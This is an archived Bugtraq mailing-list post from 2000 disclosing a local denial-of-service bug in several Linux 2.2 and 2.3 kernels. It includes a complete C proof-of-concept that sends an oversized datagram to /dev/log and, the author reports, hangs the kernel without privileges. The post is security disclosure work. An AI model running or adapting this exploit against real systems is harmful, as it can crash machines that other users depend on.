4936491 2000-03-24 10:10 /56 rader/ Postmaster Mottagare: Bugtraq (import) <10363> Ärende: Local Denial-of-Service attack against Linux ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: bugtraq@securityfocus.com Mail-Followup-To: bugtraq@securityfocus.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Message-ID: <20000323175509.A23709@clearway.com> Date: Thu, 23 Mar 2000 17:55:09 -0500 Reply-To: Jay Fenlason <fenlason@CLEARWAY.COM> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Jay Fenlason <fenlason@CLEARWAY.COM> X-To: bugtraq@securityfocus.com To: BUGTRAQ@SECURITYFOCUS.COM This amusing little program will hang Linux 2.2.12 (default Red Hat 6.1), 2.2.14 (latest stable kernel) and 2.3.99-pre2 (latest development kernel) on my 6x86 scratch machine and our various Pentium development machines. Note that this does not require any special privileges. The send system call immediately puts the kernel in a loop spewing kmalloc: Size (131076) too large forever (or until you hit the reset button). Apparently unix domain sockets are ignoring the /proc/sys/net/core/wmem_max parameter, despite the documentation to the contrary. The fix should be simple, but I haven't had time to chase it down, and I'm not (usually) a Linux kernel developer. -- JF --- BEGIN INCLUDED SOURCE FILE --- #include <sys/types.h> #include <sys/socket.h> #include <string.h> char buf[128 * 1024]; int main ( int argc, char **argv ) { struct sockaddr SyslogAddr; int LogFile; int bufsize = sizeof(buf)-5; int i; for ( i = 0; i < bufsize; i++ ) buf[i] = ' '+(i%95); buf[i] = '\0'; SyslogAddr.sa_family = AF_UNIX; strncpy ( SyslogAddr.sa_data, "/dev/log", sizeof(SyslogAddr.sa_data) ); LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 ); sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr) ); return 0; } --- END INCLUDED SOURCE FILE --- (4936491) ------------------------------------------(Ombruten)